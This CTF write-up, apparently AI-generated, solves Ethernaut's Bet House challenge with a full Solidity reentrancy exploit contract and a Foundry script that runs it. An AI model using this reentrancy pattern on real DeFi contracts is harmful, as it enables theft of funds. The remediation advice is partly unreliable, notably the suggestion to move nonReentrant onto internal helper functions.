Skip to content
On this page

Mastering the Bet House: A Technical Deep Dive into Smart Contract Gambling Vulnerabilities

Introduction

In the rapidly evolving world of blockchain security, Capture The Flag (CTF) challenges have become essential training grounds for developers and security researchers. The Bet House challenge from Ethernaut presents a fascinating case study in smart contract vulnerabilities, reentrancy patterns, and state manipulation. This technical article will dissect the Bet House challenge, exploring its architecture, vulnerabilities, and the sophisticated solution required to exploit it.

Understanding the Bet House Ecosystem

The Challenge Overview

The Bet House is a multi-contract system that simulates a gambling environment where players must demonstrate strategic thinking to become registered "bettors." Players start with 5 Pool Deposit Tokens (PDT) and must navigate through a series of smart contracts to meet specific conditions.

Contract Architecture

The system comprises three main contracts:

  1. BetHouse: The main challenge contract that tracks registered bettors
  2. Pool: A deposit/withdrawal system with wrapped token mechanics
  3. PoolToken: An ERC20 token with minting and burning capabilities

Key Requirements for Becoming a Bettor

To successfully complete the challenge and become a registered bettor, a player must:

  1. Have at least 20 wrapped tokens (as verified by balanceOf(msg.sender))
  2. Have their deposits locked in the Pool contract
  3. Call the makeBet function successfully

Deep Dive into Contract Vulnerabilities

The Core Vulnerability: Reentrancy in Withdrawal

The most critical vulnerability lies in the Pool.withdrawAll() function. Let's examine the problematic code:

solidity
function withdrawAll() external nonReentrant {
    // send the PDT to the user
    uint256 _depositedValue = depositedPDT[msg.sender];
    if (_depositedValue > 0) {
        depositedPDT[msg.sender] = 0;
        PoolToken(depositToken).transfer(msg.sender, _depositedValue);
    }

    // send the ether to the user
    _depositedValue = depositedEther[msg.sender];
    if (_depositedValue > 0) {
        depositedEther[msg.sender] = 0;
        payable(msg.sender).call{value: _depositedValue}("");
    }

    PoolToken(wrappedToken).burn(msg.sender, balanceOf(msg.sender));
}

While the function uses the nonReentrant modifier, it contains a subtle vulnerability: the external call to transfer ether happens before the wrapped tokens are burned. This creates a window for reentrancy attacks.

State Inconsistency Issues

The deposit function contains another critical issue:

solidity
function deposit(uint256 value_) external payable {
    // check if deposits are locked
    if (depositsLockedMap[msg.sender]) revert DepositsAreLocked();

    uint256 _valueToMint;
    // check to deposit ether
    if (msg.value == 0.001 ether) {
        if (alreadyDeposited) revert AlreadyDeposited();
        depositedEther[msg.sender] += msg.value;
        alreadyDeposited = true;
        _valueToMint += 10;
    }
    // check to deposit PDT
    if (value_ > 0) {
        if (PoolToken(depositToken).allowance(msg.sender, address(this)) < value_) 
            revert InsufficientAllowance();
        depositedPDT[msg.sender] += value_;
        PoolToken(depositToken).transferFrom(msg.sender, address(this), value_);
        _valueToMint += value_;
    }
    if (_valueToMint == 0) revert InvalidDeposit();
    PoolToken(wrappedToken).mint(msg.sender, _valueToMint);
}

The alreadyDeposited variable is a contract-level state variable, not tied to individual users. This means only one account in the entire system can ever deposit ether successfully.

The Attack Strategy: Step-by-Step Analysis

Phase 1: Initial Setup and Token Acquisition

The player starts with 5 PDT tokens. To meet the 20 wrapped token requirement, we need to:

  1. Deposit both ether (0.001 ETH) and PDT (5 tokens) to get 15 wrapped tokens
  2. Exploit the reentrancy vulnerability to gain additional wrapped tokens

Phase 2: Understanding the Reentrancy Vector

The attack leverages the receive() function in our exploit contract. When the Pool contract sends ether back during withdrawal, it triggers our contract's receive function, allowing us to execute code during the withdrawal process.

Phase 3: The Critical Insight

The key realization is that during the withdrawAll() function:

  • PDT tokens are returned first
  • Ether is sent second (triggering reentrancy)
  • Wrapped tokens are burned last

During the reentrancy window, we can make another deposit, increasing our wrapped token balance before the burn operation occurs.

Building the Exploit Contract

Contract Structure and Initialization

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {ERC20} from "./deps/ERC20.sol";
import {Ownable} from "./deps/Ownable.sol";
import {ReentrancyGuard} from "./deps/ReentrancyGuard.sol";
import "./BetHouse.sol";

contract MyContract {
    PoolToken private immutable _wrappedToken;
    PoolToken private immutable _depositToken;
    Pool private immutable _pool;
    BetHouse private immutable _instance; 
    address private _player;

    uint256 private constant PDT_AMOUNT = 5;
    uint256 private constant ETH_AMOUNT = 0.001 ether;

    constructor(
        address wrappedToken_,
        address depositToken_,
        address pool_,
        address betHouse_,
        address player_
    ) {
        _wrappedToken = PoolToken(wrappedToken_);
        _depositToken = PoolToken(depositToken_);
        _pool = Pool(pool_);
        _instance = BetHouse(betHouse_);
        _player = player_;
    }

The constructor sets up immutable references to all the necessary contracts and stores the player's address for authorization.

The Main Play Function

solidity
function play() external payable {
    require(msg.sender == _player, "BAD caller!");
    require(msg.value == ETH_AMOUNT, "BAD ETH amount!");

    // Transfer PDT from player to contract
    _depositToken.transferFrom(_player, address(this), PDT_AMOUNT);
    
    // Approve Pool to spend PDT
    _depositToken.approve(address(_pool), type(uint256).max);
    
    // Initial deposit: 0.001 ETH + 5 PDT = 15 wrapped tokens
    _pool.deposit{value: ETH_AMOUNT}(PDT_AMOUNT);

    // Trigger withdrawal and reentrancy
    _pool.withdrawAll();
}

This function performs the initial setup and triggers the withdrawal that will lead to reentrancy.

The Reentrancy Handler: Receive Function

solidity
receive() external payable {
    require(msg.sender == address(_pool), "Not pool caller!");
    require(msg.value == ETH_AMOUNT, "BAD received ETH amount!");
    require(
        _wrappedToken.balanceOf(address(this)) == 15,
        "BAD wrapped hold!"
    );
    require(
        _depositToken.balanceOf(address(this)) == PDT_AMOUNT,
        "BAD PDT hold!"
    );

    // Reset approval and re-approve
    _depositToken.approve(address(_pool), uint256(0));
    _depositToken.approve(address(_pool), type(uint256).max);
    
    // Make another deposit during reentrancy
    _pool.deposit(PDT_AMOUNT);
    
    // Verify we now have 20 wrapped tokens
    require(
        _wrappedToken.balanceOf(address(this)) == 20,
        "BAD wrapped hold+5"
    );
    
    // Transfer wrapped tokens to player
    _wrappedToken.transfer(_player, _wrappedToken.balanceOf(address(this)));
}

This is the heart of the exploit. When the Pool contract sends ether back, this function executes and makes another deposit before the wrapped tokens are burned.

Execution Flow Analysis

Step 1: Initial State

  • Player has 5 PDT tokens
  • Exploit contract is deployed
  • No wrapped tokens exist yet

Step 2: First Deposit

  • Contract deposits 0.001 ETH and 5 PDT
  • Receives 15 wrapped tokens (10 for ETH + 5 for PDT)

Step 3: Withdrawal Trigger

  • Contract calls withdrawAll()
  • Pool returns 5 PDT to contract
  • Pool sends 0.001 ETH to contract, triggering receive()

Step 4: Reentrancy Execution

  • During receive(), contract deposits 5 PDT again
  • Receives 5 more wrapped tokens (total: 20)
  • Transfers all wrapped tokens to player

Step 5: Completion

  • Original withdrawal continues
  • Pool tries to burn wrapped tokens, but they've been transferred
  • Player ends with 20 wrapped tokens

Deployment Script

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol"; 
import {
    BetHouse,
    PoolToken,
    Pool,
    MyContract
} from "../test/bethouse/BetHouse.sol";

contract MyScript is Script { 
    function run() external { 
        // Contract addresses (to be filled based on deployment)
        address BETHOUSE_INST = address(0x...);
        address POOL_INST = address(0x...);
        address WRAPPED_TOKEN_INST = address(0x...);
        address DEPOSIT_TOKEN_INST = address(0x...);

        uint256 ETH_AMOUNT = 0.001 ether;
        uint256 playerpk = vm.envUint("PRIVATE_KEY");
        address player = vm.addr(playerpk);

        vm.startBroadcast(playerpk); 
        
        // Deploy exploit contract
        MyContract my = new MyContract(
            WRAPPED_TOKEN_INST,
            DEPOSIT_TOKEN_INST,
            POOL_INST,
            BETHOUSE_INST,
            player
        );
        
        // Approve exploit contract to spend PDT
        PoolToken(DEPOSIT_TOKEN_INST).approve(address(my), type(uint256).max);
        
        // Execute the exploit
        my.play{value: ETH_AMOUNT}();
        
        // Lock deposits and register as bettor
        Pool(POOL_INST).lockDeposits();
        BetHouse(BETHOUSE_INST).makeBet(player);
        
        vm.stopBroadcast();
    }
}

Security Lessons and Best Practices

1. Complete State Updates Before External Calls

The fundamental issue in the Pool contract is the order of operations. Always follow the Checks-Effects-Interactions pattern:

solidity
// ❌ Dangerous: External call before state update
payable(msg.sender).call{value: _depositedValue}("");
PoolToken(wrappedToken).burn(msg.sender, balanceOf(msg.sender));

// ✅ Safe: State update before external call
uint256 wrappedBalance = balanceOf(msg.sender);
PoolToken(wrappedToken).burn(msg.sender, wrappedBalance);
payable(msg.sender).call{value: _depositedValue}("");

2. Proper Reentrancy Protection

While the contract uses nonReentrant, it's applied at the wrong level. Consider protecting individual state-changing operations:

solidity
function withdrawAll() external {
    _withdrawPDT();
    _withdrawEther();
    _burnWrappedTokens();
}

function _withdrawEther() internal nonReentrant {
    uint256 _depositedValue = depositedEther[msg.sender];
    if (_depositedValue > 0) {
        depositedEther[msg.sender] = 0;
        payable(msg.sender).call{value: _depositedValue}("");
    }
}

3. User-Specific State Variables

The alreadyDeposited variable should be user-specific:

solidity
mapping(address => bool) private hasDepositedEther;

function deposit(uint256 value_) external payable {
    if (msg.value == 0.001 ether) {
        if (hasDepositedEther[msg.sender]) revert AlreadyDeposited();
        hasDepositedEther[msg.sender] = true;
        // ... rest of the logic
    }
}

4. Comprehensive Testing

Implement tests that specifically check for reentrancy scenarios:

solidity
function testReentrancyAttack() public {
    // Setup attacker contract
    Attacker attacker = new Attacker(address(pool));
    
    // Fund attacker
    depositToken.transfer(address(attacker), 5 ether);
    
    // Attempt attack
    vm.expectRevert(); // Should revert if properly protected
    attacker.attack();
    
    // Verify state integrity
    assertEq(pool.balanceOf(address(attacker)), 0);
}

Conclusion

The Bet House challenge demonstrates several critical smart contract security concepts:

  1. Reentrancy vulnerabilities can manifest in subtle ways, even with basic protection mechanisms
  2. State management requires careful consideration of operation ordering
  3. Contract interactions must be designed with security as a primary concern
  4. Testing must include edge cases and attack vectors

The exploit successfully demonstrates how to:

  • Leverage reentrancy to manipulate token balances
  • Navigate complex multi-contract interactions
  • Achieve specific state conditions required by the challenge

This analysis serves as a valuable case study for developers looking to understand smart contract security in depth. The lessons learned from the Bet House challenge apply to real-world DeFi protocols, where similar vulnerabilities could lead to significant financial losses.

As blockchain technology continues to evolve, understanding these security principles becomes increasingly important for developers, auditors, and security researchers working in the Web3 space.

Built with AiAda